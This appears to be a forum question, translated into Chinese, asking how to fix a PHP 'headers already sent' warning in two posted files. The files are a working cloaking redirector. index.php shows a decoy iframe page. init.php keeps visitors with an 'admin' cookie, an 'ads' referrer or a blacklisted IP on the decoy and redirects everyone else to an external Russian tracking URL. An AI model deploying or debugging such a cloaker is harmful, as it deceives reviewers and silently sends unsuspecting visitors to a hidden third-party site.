我有一个 index.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>LOL!'</title>
<meta name="description" content="Hi oloo!!" />
<meta http-equiv="Content-Type" content="text/html; charset=CP1251" />
<iframe src="http://news.xxxxx.ru/hard/2010/10/28/104592/" frameborder="0" height="100%" width="100%" ></iframe>
</head>
<img src="http://www.xxxxx.ru/upload/iblock/27c/27caa04aac1fbc0f31f7964fc780b1b2.jpg" />
</html>
<?php
include_once ('init.php');
?>
和init.php
<?php
$waiting = 0;
$url = 'http://xxxxx.ru/gott.php?sid=3';
if($waiting == 1){
$admin = 1;
setcookie ('admin', 1, time()+3600*24*31);
}
if (isset($_COOKIE['admin'])){
$admin = 1;
}
/*if (strstr($_SERVER['HTTP_REFERER'], 'away')){
$admin = 1;
setcookie ('admin', 1, time()+3600*24*31);
}*/
if (strstr($_SERVER['HTTP_REFERER'], 'ads')){
$admin = 1;
setcookie ('admin', 1, time()+3600*24*31);
}
$blacklist = file_get_contents('black.txt');
$rows_array = explode("\n", $blacklist);
foreach($rows_array as $k => $v){
if(trim($v) == $_SERVER['REMOTE_ADDR']){
$admin = 1;
setcookie ('admin', 1, time()+3600*24*31);
}
}
if($admin != 1){
header('Location: '. $url);
exit();
}
?>
加载 index.php 后,我收到一个错误
警告:无法修改标头信息 - 标头已由 /mounted-storage/home93c/sub006/ 中的(输出开始于 /mounted-storage/home93c/sub006/sc36756-TMHW/xxxxx.com/onarter/index.php:8)发送第 42 行的 sc36756-TMHW/site.com/onarter/init.php。我怎样才能摆脱这个问题?